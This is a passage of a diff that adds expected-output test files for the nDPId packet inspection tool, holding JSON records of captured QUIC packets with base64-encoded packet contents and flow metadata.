+02111{"flow_id":12,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":240,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816444,"pkt_ts_usec":528429,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gCmKyBNgRQCABCwcKydWupNP+R2kegH0mBkcAABAAAAAAAABoFggmgL0RUQTYaQHNCgoKCggKh53oSKcUIwAARL7p0\/07mHXwNdQ7rUSrTQlGr52P2DIhpVGgdhs5fQ7ZvBsadIKdtrjuyCbhl20DpzoUY3xh4ib7HIWvD5OB21XDz2HG2IzmA+39+HF0EFFp4SFltZvu+3C68+gcuqdZDsNG8E6Pwnt50+fVJahcRo8uQHTXOzTJp4gceIG8pE45xiM6PHwg2vwIuZy8jSHoeTCyqME08Nntmm6FBehnK8UuJbi6P+rza68\/w5puDv0Toz5bNNZwYNdQ9oqFG25vUdvddtlJrxChXa0K4cSp6v5pOaCvD8KSEPaTTsMYWLUYLeT2D6u\/\/RWTNO0JqOUK6x4Ko2J+eGll36n8R74tds53GbvC8Kq5E5078qtWo9I2nybFoVGkKKLME1UEN095LsTBJLSeW6kOYa1ucm9Y0EameReNbXe+lk0gSwj5iUHA5FBy0BraTfI385gMuqPPqojlF5GvN4Z8bFuhcS2glpRWqAa4j8SOjHVF+z4QApDddXxyG7k0KJouyWNCquwUelKShy0VNJzGVssMlJBAhqU6Z2+\/btZcxSB9GDVa+BD3n9Qgw92Jv\/RY5Xj1Rd8iu3Upj5z\/KjquC0\/pVGnW0U2yrOU+GxnLqh0aPhiX4NBalLUmSq\/2rJuB9+dYGPdgUY+SzRV\/heDg4M0fH+3oIgNioG6ZMFh+oary\/nnBvaaDWsjQZAAztnKPQEnhaBPD5XZYNzNdU\/71\/0I+g8mzYauS7QC4JJTEAyFqGggLDKjCYGcL+0+8hV7oqXBM3D+WWHqtrp4XJTwEc4OVydVHWQZQ74KjcJJNsbrUKpFu2QHnwbNEj5fgYmiJ9tbWMRZpJmBCYabAR8CAz+b3IJXmJ6qXX+gqoYcNvGfjxEwfqApAfRAnJpbS4rnbr8L8ZhMznYUa5dZun4d1G1pYJzCl7+Nf1DD8Ks392sdTgHm5hxQCB8qTkBRMpeEvqQuL54i60J7SIpr8rixI3z1b0Ic\/P4VCfMkTxBkcek7uZsEIiE3B3xEpOXrfRBBjL4YGT9knHMrM6WO1SkTogyG5iNFtj3277dK0mIHRjW1jB46\/QUoY4DwZb4RPnDKiOSIWJ50ef96vMXye09IGS3LDNW\/Zcg84y\/QXGqS22OuPq0dCPu3hp33D\/K8Pj8iPKpv9Y6LYCdc\/a\/uOWUKSQ79SOum+uhh1xKl0\/ZLNliwYxSETkyuRBEh5ziW90VFJ\/dCP92frxyKOH09mmVvPRWazreJ5TO+X32pfU40Y3Pge1Ahbi4XXB0p80JfafrOWQ3chiftfVuSLEP\/QvmCQzyqWO\/tV5b7wLQR3izbzxr1CqFV\/w3zwiH4+WNSkz\/3qz7eT2Viu+lztaNAHXvFrNJSqrp3Dwz6L112gN4Oi1WgRAidz0sdEtk9cDMGqdxElHGD6TtzQisO\/2lecBCycPgy8tO5kjiZvd03nfshogXRZO0CaM1zDF\/8zlMg5Lo1nu1aGy51oGp0jmrblTaKSPrCU9sbAnYZfVVW3uDwFAc8zO4O6rpka+0EHdbM9wgwqui\/NGk8kWuDPJgGXKRoslRKJxw+tnYL4ZmRtz5QiStvxVI0ZzULcBWsZtvdFjsEmyzgM7y2wrxi8wwyM9iKf4P6WmR+ZcA=="} +02106{"flow_id":21,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":241,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816444,"pkt_ts_usec":528471,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAa7pAAEARO+rAqAGAwb4KYucjEVEE7N6+wAoKCgoIOPxKwZ+D2JAAAETSci2+11+Rk7zRrSimC34q0H5rSyod7czDhpoPHgUWWMDZCQl9ACCO06prMUlV7Nlcqz+li8hRs8mqzMWMuNET2qMdft7Gqh1imI8o4SP7a\/6gx2v5\/WOcecNI40eU93oA61wK9k7aszJ9e\/3gSI\/LXGzTuzXMFdcEoV+A5ywoz2jLC+\/S5ayBK4c0XD7cm\/iEAVSk09ec9vmy8HgBN8pE5Ak2Kf1YP0ybNIrlOk5feCpuLDKd5nuWS5sUQxm\/h4ti+NRLVAt3oPHkH9JhaW+WfV0fjXmqk\/0DNPYlbDqWsE\/5x3sWILJBOYC1XUikm0pusaCPNKQyADhK1odFULYFsAit9xnEBYExSAzEaNV6SPHxjnAnRQnhQ6aF9KNPCthCwi70+14z8HUDdqRchjS3T8ytRnCmnwmvDEwptBiiaoR5pVHgNmLEUkSy9bsaaHIb+KOB0tznCEqgk+CWf\/xCpDnhMcIwLbRRjtiG8ZhbtXa0UfjgsBz518LW6JCmfpg+4D2ICrvV5LBmvbMgUiA6o\/ICdCkADLkDKJq8GimwQbP0oy3UrGDQ8FZurdK3UcUBR0QzpdnLXSAql\/inaKgzU4r+Q+\/TdNwNrND8TDHwqovoJN0wNLZnoip5Ke8Hot+sSeNPCYijhONpiwpEx21bb0v2okED00KfHyMaaKBwV2xoC3be9Qnu9+gTxuYLtaQ2mATL3XlTPld7CEExBSTDFFNF4eqwNgwLRSVSo9e\/A28SXVEiM65hV3pEBYFPurVJJ\/fj6C+hBHPyTjfqzrRRggK3bzkGSQosngqBi0E9n59gD5ayNs16lfew\/0FBrxvlwRWu7wo1Mup5kNSCUgy3uBnPSe4D\/NDHpcCWt7HKQgQaHHv7IYFDvgBjQ66weJBrCIaqytfFFY3nYl8BntqDWiqsApyoz\/eL3NzmzByM23g9Qjij2cz+V7dQBRpH+gVE3YlVQ663CVT3wL5oTTb4xyV\/r2f+teC2FPJAzCzp7NWQPAOpr5ZJGCtONCZncNvs5SQPKIapZBNJntY939ssmP2iktWIgRXdzbDik7yc6pwqsQ1HrYwsfW8irpXjnC+C3GWgXXroUd\/nLWQSh2GN9S6gagBY9IPBY2LpHr82zj3fS1Qlivloxjzz5Bh76iFmdBv9ek+rX1jJ8MdPHgDAg1JGKMGkagyXdxNio8qJKLYY0K+HS0c77plVAUCj02vGGpoyNZTLDYkaIjsd02+8F5NGxW9SywEpdoiMNI0ys4ax\/5iJfjARsHI8IAGQmzBV+Ajerzuke+r2IowCNFOMTVIwNv1LvXalOC04R6p4LrTsbp5kHiGcZ+msZb8OYfNC8RZgfeVYsxFYIHu5PC8VxEjxHaHjAf\/til1aWKecaau3y9Xw7Q8I9xjHcMHpWsnqBPPwiK+E4Jj9L0Vu5F\/0totLyNeveZRye4O6CUzI7CxQdJ7Cld63A0sH+Vfbo4TdB75A0WFmrLr5QpK50R8s+jDL9pQKBgQh5kGATuRATKMeHM07SmF510iiVan\/4ZELTq5YSu2ZWM+w7wrw1IGZTbx3Yo5oMqfAr2GCvaRB0t+mAbaU9B334Z6D1GbkHPo1ZxwDdQrgaH24l2DnJ8dcmwRUU51LNyxGBwvDGC\/95FW1CA=="} +02103{"flow_id":28,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":242,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816444,"pkt_ts_usec":569568,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAKD9AAEARf2XAqAGAwb4KYsH6AbsE7LdCyQoKCgoIc5O0PcfI+J8AAETSOqgz6XpjL7NvWsj5bL9hve8QE+\/cZ62dF1o14hXFPrxu0ADoM0zKh7RChNV4iv2ZXiNm3upcj8Nnc0oYuh7Ml3EERytHWxy\/2hsfGGIdwqol1KnXBHbupxjvrbTHinKW8ktBFyvAZnv\/I\/AkhFkVIics7VhLr\/iDpvzhjJF5Z9zHerYA6dYlJuL+IcCVhshvuAhbEompm29vYcpu9TKdnNPGv8OtalPTSU8XhCs\/3w4Z4tw4ZMvKFXXA41fYZmHtr8SLOX0URcP9HsXtwEzhXndiHNCY5nJgPymxPlRvoTQRQ5K5Th3Lut+nTtlo+Kz1Fttu5x2MsJduleKdgmfJ7JN+7dINYl7eiCf5c0AzmQuRUL59neLnP+5umqkpZXQ8VrkpUmfHYegChBd91MES60Lad1Z3blKEh1OsrgnG\/oxWb94lRpJXolG4tU1uWmJNDZINUd6hesOqvaZOQT34L8iwCnEscSyKCs9caaKzBlptWDLz4YiyGVIrr8NN7pYQADlMKUvR8bgrhYRua5gs2Ns9TmOnIDu8xkQllrtwICkU\/0JA\/ruEynkpACxxr2w4qOyJK95MFrQdc7rbNZUT0ErB+u5kkQoIh4sU4LLZQ+rsKWz9u++4EsJelkJErn9frF2MuVxDwlnM3x\/\/\/2Kdzqb90HAfAbSqc9uRY+DUObxpr9t1N5ZMeAHUuz2javdsAh6hY6ucfZtqLpnmZBSVSd5vz780RjNJFGqJQhyakuQhapudEFbSZBg7\/focPvnq3A7e2HgM0QKA\/dycAj91SFMsB8xgU9FQddDRUZOv6zofUgxnSOJgjb+URWW29cNs89QJcwqhom4WYYFaCsaNnDt9I8W4GLqwRjCVZI4lEz8aL88HVQJJnvsIYYBpMjapMfWaQZNWdiqwBR1QxYU1Hb44oju1z81CPxeI9u14vgLXRhJ59AwHHctQo2andaakoEPP5u7cgBvJXSpeL7JUC1qPEp5LCboJ24AQATZoQ3yWxcCrmhjx6t6IJ2aFsAmP7MoNMNdYfvyycONTm8wHj017OgTCIlegoEeMp89GZYpW2v9gxqCJ++UqrU31HE8cJ2nXWa9Q3Y66asUWjJig+Ux3FDoL8ySvjtYHmoty3jmXuy5+3i7aV8cEfnBSpc4WePi+zmur1TQn3ppNqq4mxbp6rEk5uJh1ZlfIAKy24yzhyvUy6jXW\/BevZjH\/DDV9Gyp8Pi3jAiFwQHEnJvId9wGat0E3hTnZDdWHcVhJOJZBNurPg1AsITAoOolHDjaqrg0R0EceJh+gc9mUf7\/QrU+tcUMA7xeiO1e1V2pHN4778h284X3OSxMNhC\/Av1YBWmftTtI0KMNxPqMZmWM8DVVtd5UPQJKqznRStK4R81BGyh9sAVd1y5ubR82WA6wIvDiPUAFoHopSrNq59x7\/ayEFOj7kGUBZMVYZmIl5IIId6DopnmEu+j8zxR23U2sPECgrUSpL3UI0afA3vBVUFW1X\/BC3OlQ75u8RbS57ijXTllLditd8hdwYRFR+lZP1YWSoN4u+oFX6UiIj24y61e4JQ3\/QbS3cKbBlmqHZQt7kXmqMg5vHfMx86Gcxizkv4E0PZ+AiftlRBttIQFralpGT9f1qICZtZfEDb8xHk\/CLwg=="} +02106{"flow_id":58,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":243,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816444,"pkt_ts_usec":586281,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gAgKbBNgRQCABCwcKydWupNP+R2kegH0mBkcAABAAAAAAAABoFggmo4ERUgTY7VbNCgoKCghziEmCXfFrHwAARL5F8GY5C48al+vtw6hTc3Sop\/WtNB0xMFROnWSH6J7xQI8xw3o2EXYuALUNZ12As68SbpwcGLLsf2V8B4T9PAdHGUItLDTVaLFjRn0GWA9L0JRLcIxbRHTecxUBXEKLqVcTtLzd3k6kxWCcfr1yCyS0+h11luCav0wkY51\/VtrVweH2QcdBQd546i2AHOYnm3BWpBAbDUIP+\/fAIFJhq\/WRrKlqpuwisDJZR4GmZL7b0H+QOsv2sHH5kWIXcM2PpHFe2L7W0mr5sbE17L2IhF3uQRobyiA2GNyKRyxD3MeotQfGeUi7e8MMcvDOBonNcbPpRnbtLyuxbYDFuSWZWvN8ufzDEqeIuC7IazgDO94W1b4nkn6XOSXbbdWUeQuoozXmFmqewZdsEy9bYwnCy04qp+NxYzCk5Ij\/aJKgJTbhL8e87yJEZqAYd1zLA1yVasJzhB6PlQkKz5syAcdF2mscD2SZHaJZ15NNe3ZXvYiVYc23Y\/2THVTxWoxzS3aLb6IijycLIGrvZk3AAVg5hpBzSHrp0GejWMIuEW1jPXsM4VQMrYVXpQVNawMsAukiywsPbO3CQdIiVPjYgi7ps1y\/Lbo\/5euaJsKUQgZqIKzZerL9CQxLIw\/QtJc98vRauxEVEYAcTuxYioMCYUiX1IC0o5eQd9esFsawJjgOP9HFz7vbLmr4gMEnxqRc9JkJpRfP3dQ90NOYqEZXFFZEeWHJm+YXigBPuABxI0UlPjjGt67b6jEOvDWjGgV6JsfI9Uw41ZepvmKrSu5eFqw3PwgALXDsbtcdwVRP2bNw2K211Gfr2XcsZcTM0ZO9AltmTQd3L8mXq+jSUefgZWj79yr2j7MVR1ap5\/JudohUg\/CCw71GebPnuE0Br7+SqTXF6SBtNIjeZarpPe4\/Ru0uk8HziM35NgYI9YrqcupA7LtVaR4DvZW2FJ4U6wUfmKnSpCJut66RdhtHNqykdmfXEXMiam2vPjujzdZln1zMdsFQxYTuNqBFmW9oYz5ivz+3qb0TUUfj9n3gLsyt4rD8w+hwFUQHde7NiCtSUUeFwxcHCFPAA5Epxo9VZ0hgDnSvnsTz7zQZPn9S2pnByA+N+oBEXRsqwgC4GzaT+H2kw\/UxOUZDu\/gZ+DN\/EONWWkzBn2SYs\/p+8RvB7GdofjuMDvHKFi4VJwk3WqK06JKO0tElAX8pWqDmoLf8Ky\/FwMggTwMo2LGI0lChIdyeBqMmFLSDtUbbVSjZwqwFYky0qBzA8MZicz6b3pPyyxF5Y+of\/72+k5sBFIQgxzv4Qj35sMIuA+LwSnLda2ljwBVDZUvGdX51HWH1A1EdE54NO35HAsg+AcKiotvBfPw42NoCoc14FE\/szLz1P0mdK4SuWQhgc+TE4NTUaaaC9wMqScke3fvzcCA2rv\/ve78a7waPayrslgQjQbthd031nwnthEygTIfEQwgk3IxCAkK2yQ4ij7WN9W1NRFkUgYtsAuR\/yKGRo7m7MGy\/82toLjcSA3XsrOXkiGZKut86aMVEvjbqoY7\/RsqRrmisH5uPCywC0BptFfNq+i\/2YNbO16UNkbEurcXlIDjZB4B4YnmLKKMy17WbPqBWq6RNtT2P8xPImw=="} +02109{"flow_id":57,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":244,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816444,"pkt_ts_usec":586338,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUADnFAAEARHmXAqAGAilu8k8YREVIE7GMazgoKCgoI6izyia7+eS8AAETSgFW7e0\/uMPvhR6zCP3CS8CPFEFg4ppw18x6ueoWG5FrKoHw90GfbCxCGD7Gkk8i6CtlRzTxjZK0M7PlaiodqseOggSafsO+vBV2+Q5\/q4YbLN7RQmGP\/Ip9BgoTDiUZouJlw7ldJ5VamwuyjpoWClsxMH+9An+Ex9TSSb1xTsag5Hg9TfMZ2fXq02UYd81f2HH2EI\/4rYsqXq1o1Z7FAPFLJKhh8zdyLbIGhTUsQrzQ1\/Lqg8c4JBW4zZmiQpgI7PYKkB9cD4KtHgQh674GV8IQ\/6ctUjI0aM2hw2yBBCaTxBy663rWHmTCZujMdrTEjzBlA4wyjXZtZf3VUoXmvApYNOh45AfCMztB5OcUkhHcPZ0MyW0uI9coN5OVZnp7q4awnk0Hl0f9vaeOjTTTB1Ku\/iYy8W9tkqYVZWKnK2QjxaM+6uPUF2H9acpiUjlkbIe0LUf5\/cWiEY9thVo4mPhfL1QsBIHQD8CMD7CYdhVI\/P9gm94Bj6tCcXBUzZZI1aAUAPh19N\/mvpm\/s8MAfg2mKHPufXsVsWGVryWkYjFTPalnNui3Yz5TbgpEsggMonKTx+tSk92n18t8AW0\/tE67Lz+odes2fOQS4K3qWCNSE+spPrS9US3VPjUd3CpPQl9Y3qtVCUFHa9vjVGDmB1Id0U6qkPvXxTnz+eLppBLn\/nAs1\/OcphS7o1upRRhF1KT+4VUjtXqBye14E+w2REJqC5HeuvgD6\/vX8mk3VdiXx5B70SzpQ0kt4qCzEuEvjY9h2n66zTGO6SoZdRVD9Aw8anuA7yKBEQ90cZV5ogORV9x+5fX9lKCx0RLLX44eV6p+ksiKRw5ViZxq0F2I5zTakXeVoCQsn93fuv\/Pdqdd9bITebo\/y8sLs54an6L8\/qBKDVfye1C1tYBVea0W7i7r3lfV82SoDP2YKNcwmABBtBctQ9\/QyO8Nl8dDohITUAFqtaYv1N9P2LGXY0OuMMB52bXF5q0DbZv8aQJouaEDUoqY5fDQytmpLCq\/7q+7o7d7McemVz3OsV6f86q1AWJuhqi0mPGmjN4y1fegmFDkxFODpvqCmINA2rL4Hy0fFXm8ZxSAZEoYvuz+9mNNACVAIYLN8dsNjRuG0+RQtfgaz0agVZf\/xYIhmJkR6GTI9vTQD7d1cxQkJ4Y5dnvinPqvZJo+CtQqkAuc2eZiJcX0xrWWdwkkGJoW5sjaTKQL3L3G0IliUyR0UIB2YpKj3RX\/TQ0INLaxh\/hEKHeR7UfORqa5+C7wOFXUwHVx3TK\/kZxJuStJhs78Jce6wmRX\/eEHKZjusraUFLp6VLNjEfm9L+x7lkoa98OwzH9ubuSTGwRCDByp2JFD\/HbfhDq3rq5FHtaWm27PdXxSyFDTd6KKqjbv4IVDNXRgb2DoRgk66QmrwTp4UwkIwUPopqzDtkwhwfF0B8zvuUoYVxUW0Inw2xbbDZHndq7V2hhWZNduPSuXd3Rr2W\/pnHOqrWtU9CQvCqqWtv7tU3JSn9QbikwIFSWMfOrkjM16FcQkMs+qSeyPxcn7hm10ZK9nRBk266FmDmUbt9NpvG9Re4fp95jKRIb3DZA1vLEwKhjaIFK0HixTq9kNNR53TZbpCLJCvkQ2oQcl2bxJeYqkJ\/xWeYWOoDw=="} +02106{"flow_id":62,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":245,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816444,"pkt_ts_usec":721505,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAdDxAAEARuJnAqAGAilu8k6XkEVEE7HMqwAoKCgoIR0aH1pvahxkAAETSTdXFi7jlgLLQECxgwj9\/VK8STUUoPwMJiUtYWXzEtPxhWr8uWN83Y2bc8CbExnoiko71x2PTP7m5G3AxSsK4uEBL\/W6crUT7xL4JZPryuks1TLp72G2yZf9TXL8PM+4xc\/WoJ3E7p5g6340BPV+eApbWwdTwwNffMeRf4mYkYKtEqbJYRfULvUhLYCVy4iEZ5IYOhAQ8BkD2IydZ443kD8zkPbMKb60wfFXW3pvwxjLPceraKJQhNl8wPs8BtX1x3JLB93FPFZko0CGyj6WHkxiMvIfpcVY7uA3SwlqdV2RLgAQOp905aRfe5dxgz8b4M0V97O8QR820RrHyAIuSW8XhhyrgN2DhviJECMNjqY1+8rts2TkUkGk6V3cHl3QSTQwnewD8G1zxLFP4RfYqZIu8xU1ihG2ICGBWM3sB6v5ZLT3jv9i9qyoNuDsUz6JCIfnV58Afrs0eBBe7alyBVvC55XSLBTPIJVU0hKk\/bKu7Hb+sP\/GSko6seKMYyWlQm8zXA9ee67zE79Wtzq4S9EOshHD0OAzEDbq7EWYPuOHS29A9nW+LQcrxRJtYy9uEXWtZoVkM6bYxMbrl27Y0ZaLLptjfFes4ZjcqRXMATLP0YDrydzzP9USZMN95xGIguMfhcnSowpkIQMgJrnErHJVRU5wWUvXxa3r6t8jCqWZCQbXBQrAjDt81j\/JkFSIJRjdLrwB5kc9bHB3KKFePJi6dkxllWi1NFmQF0qVF3IaNSI\/3nUm8AQbTXQq38SDrJB\/6AM\/\/vRknYJ+tEtW0yd35Xz1bLoxrz43hpvbryKFYpkdZSEaqsmNvBRi81uWBSgYxwrXxzJlxiRN3bhzVoHiacQqcYbR8+iPnRsYt5F\/co1zRSFL84V8z0u9Axr92anRVMGJLM\/u5YRE+K0\/2qJ1+uVKq\/00jsUbl10BqLJlr\/mrtBiiG+PhyJ\/CQwOJFrMtkYeWq060UkzxaxNShyTJdr5ruTq0+LX76uhQYgHiE4RJ0suwY2JY0ZP1IOoRZo32I7DaXOTU418wRb8iMa+NgdlJvp3aisg5t8OseXj3KikYJ3180ZP8hB5EtBplM4bMBwTyLdqzJH\/ygP1iaeUeKTYUVyhF5Gmoo1JfFZ\/ofGFGKabgLLL2OlmDQd\/lXLW6CJ6kJ8ZgjGVUkdi+N\/IyKoeBw5qM3\/KDZ5srV2KUIU8u8oGnDCWOMC2hzevbQIB5pIjNrVmUt\/kAaQWN35jpaD0bWg5qzsoG+ZrBRwDeLL5kEf3OT8C8lRObAoBt6foWw7KJqMLxKvZb0UG3exPqZzrNROhL6GIiYUZDHKOK\/53YOYXvG0aMNb8CyudWQLwqOw1zp7cStmASFRSg0UWtQWnJXhXBuahHaMNmwersiYxnGICIOzITqz8lfI31cYXmhKdAStpeFyxZ6m1NqeEi0aIuncr8cqjiF6xdUZFTkxejDJm1\/OdvZbr4qYkE1F7QPf38ZDfWCvHzqBdzor367IBpLih1KzlRFTXgpku8F4Nhls+lBdB6+F7PwEK+wcTcsCMWq6zIslvtDAp0f0DCHTPbbPT9Nfv3KjtFBrLqUA2eIQ0up\/AkE+sqVcgJ3CT0ZlMdQVc4ZhRIq1DMMY7kPvxsb7MOk9awKGJKvtgyarw=="} +02094{"flow_id":64,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":246,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816444,"pkt_ts_usec":721572,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUA3m5AAEARn6bAqAGAA3nyNtCaEVIE7GipzgoKCgoILW5Ke\/Z2fngAAETS+sjByQZxBLRcTBIu0zyt2RPWCPyioLbBO+qx7sftFDPVcyiwX8EqdOI3V1u4kR0HbAUHwybUqImHoArTCxJf4RocGwZ8iFczOjAL1\/fFYdO9+ag1U6wul77ev7KOInklY5Cx82FvQhbS7RW1QMKJbJM30Jrt71DlY+2NBP13aYv3u8zl32Rvpd6AGEHroniVHX1hFcEDDI0JZEogd3WW5HUQ6mw8UsbnnIoGAPBi9ka9CGRB9uZbDLVLe5Enms4pCFraImrjGfkGI514ddiKxmFbxvywkrH2mXyAWgLxRUNW7edPwImfqO0u9YrwYJgcbmicckQi8Uul6oeQblaSq9m0Y6dnqvdLtiYEVpfcfrMTqS2KAHOve+ZTykaFCUuR9b9SZ2KtHRFVlEHaG4+AgvTamdtbEq\/sceEOqhAi5PtVM6MEidZDkKsAa1mP4fhcVGq7oCxb8+NISkxnIuFF2pEiEoHwQYCmnolznNq83lP1F3Su0ENCcS+rQToT6ssNegcaTAfM2P8VOiEcB1R0CVqMluEW77pIN3EBzU7x+Tx6HRwSbxBzCGrb17WcaAsuaDYoHEA\/hzbsaTzP4CSzhYA3qsZRdvEf3ZztBCRHNASvr+dvVDJEWhioQ9bBbw44LGAkTSA4yy6MsmdLixewO6aYFRUF6U8xmPgB8\/DRqWZ9NMFhsxP+rjONJUdyCdLcb1FIOTmcncKqV+njREAfssVmrq23A4Et5slfuDAiLDhw9VZrpED5bDNupU4tK4KuRngMqrU0ZRlkhPu67vUtFwSfij2Mmlm5mbwwhGb0QzXbSK\/HlU51wMnHbbctfLeefucOCsudTcmQL6grTL1sYukU0hJ0yBfSllSe7SFVQ8eZsZatPbWaeLKYmU6J3yFLmpyhl8kkO4E9UzSr5kkxqRdQyf7\/V87QXF\/nJXvEJJH\/77siEfjtzMh+zRb0ucFaz3Zmt27dH2UcovobWSQmDYyhLgWImB3KqVZijf5oFG4mad6PNGbRRK7DdZTd1U4UdPPQDfQnyzi\/WZt+Oe4yZpt+PxKNHTqXUQ9VCGd7YP4wyCZpbVslKOmFN8K65DwUNlObKoviErZKxIlhrL3gMQiAJtej7zn4VDvK30rbDXBZYgLsyEd+HlgeExko+2n918oOuGjOMejVIqDTMHdCISl9clXq3RP9zfOtndiaMYdQgIhw0Ea35lyLqVcaeFChxvOoafkW90by7ckqYjNcURa80MPAMY9gCvSRKpC4h8RHk+4vEBwc6TVJ9N0aR2LkhSjRJfWrtGhZOxtqHVI6g564VUlR09hb4HN0Aj3uOSEa2TH34rXNHx1QcTkv3E+w3zTQZQ5U7\/kAaVUSBrBlYdzWPsu3fVdoqLFHuIWHNCTDMveKh1yNaqZLIQFnUkbP3uZIZBP8EkHRhLmXQOYYycw+vUowSqOu+aozuVZxh\/o9fdSp9WGVbQOgeUnOVJTuuvfEyvBJaqlw5cuiH9H3MxChS3IVk9t3BV+FQ39QKJKB15PGjLlV9f3HA9guLKogZMRwpxfYIVgsrrrkTkxXxYZ1Kchw\/j196SY87xLtMFv361N+eYuuuxjzs9BmPIDIPo2uieYOcuItqN6gzHH4TU6P2p91Dcyv+nL7u6ZwCvNSJA=="} diff --git a/test/results/quic_q39.pcap.out b/test/results/quic_q39.pcap.out new file mode 100644 index 000000000..c19d99dbe --- /dev/null +++ b/test/results/quic_q39.pcap.out @@ -0,0 +1,17 @@ +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"quic_q39.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1509098995610,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"170.216.16.209","dst_ip":"21.157.183.227","src_port":38620,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02201{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"quic_q39.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1509098995,"pkt_ts_usec":610775,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAPJ7rSEb7OSWDCABFAAVipylAAD8RBjiq2BDRFZ2345bcAbsFTtxhDeca1dd1bE1NUTAzOQFpm58AnJnQaHUqfgGgAQQAQ0hMTxsAAABQQUQA1AEAAFNOSQDhAQAAU1RLABcCAABWRVIAGwIAAENDUwArAgAATk9OQ0sCAABNU1BDTwIAAEFFQURTAgAAVUFJRIACAABTQ0lEkAIAAFRDSUSUAgAAUERNRJgCAABTTUhMnAIAAElDU0ygAgAAQ1RJTagCAABOT05QyAIAAFBVQlPoAgAATUlEU+wCAABTQ0xT8AIAAEtFWFP0AgAAWExDVPwCAABDU0NU\/AIAAENPUFT8AgAAQ0NSVBQDAABJUlRUGAMAAENGQ1ccAwAAU0ZDVyADAAAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1zLnlvdXR1YmUuY29tHmY9ku1OY40wxAcfyyHFWACuKRu9GR6V2xdJs\/1DZWDRgILbvi6YPymdOys8LmRShvdEmFTSUTAzOQHogWCSkhrofu2AhqIVgpFZ8wXyMDAwMDAwMDBOGwyq+nKlq\/7gyjM9fK1HfmcRm2QAAABBRVNHY29tLmdvb2dsZS5hbmRyb2lkLnlvdXR1YmUgQ3JvbmV0LzYzLjAuMzIyMy43EbUkNcc61MtqjsJrlOUgFgAAAABYNTA5AQAAAB4AAADyBfNZAAAAAJSFXrmNCzW2XCwCM6DbC32c2YfxELPjjStDUbaq7wmHTyY4LQBCW\/iNJqUlz2Wd46tERlhzvdEC